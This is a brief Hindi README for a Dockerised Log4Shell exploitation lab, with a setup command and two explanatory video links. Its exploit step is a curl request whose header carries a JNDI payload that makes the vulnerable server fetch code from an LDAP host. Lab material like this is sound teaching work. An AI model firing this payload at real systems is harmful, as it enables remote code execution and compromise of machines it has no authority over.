log4shell शोषण प्रयोगशाला

यह रिपॉजिटरी log4shell शोषण प्रयोगशाला के लिए एकल-पंक्ति सेटअप है।

प्रयोगशाला सेटअप करें: docker-compose up -d

शोषण चलाएँ: curl -X GET http://localhost:8080/ -H "X-Api-Version: ${jndi:ldap://my_ldap_server:1389/a}"

फिर vul कंटेनर पर जाएँ और देखें कि हमने वास्तव में मशीन को पकड़ लिया है:

• वीडियो प्रयोगशाला सेटअप समझाते हुए: https://www.youtube.com/watch?v=WBzR30JcT5g)
• वीडियो कोड समझाते हुए: https://www.youtube.com/watch?v=oRvp0c-fa1o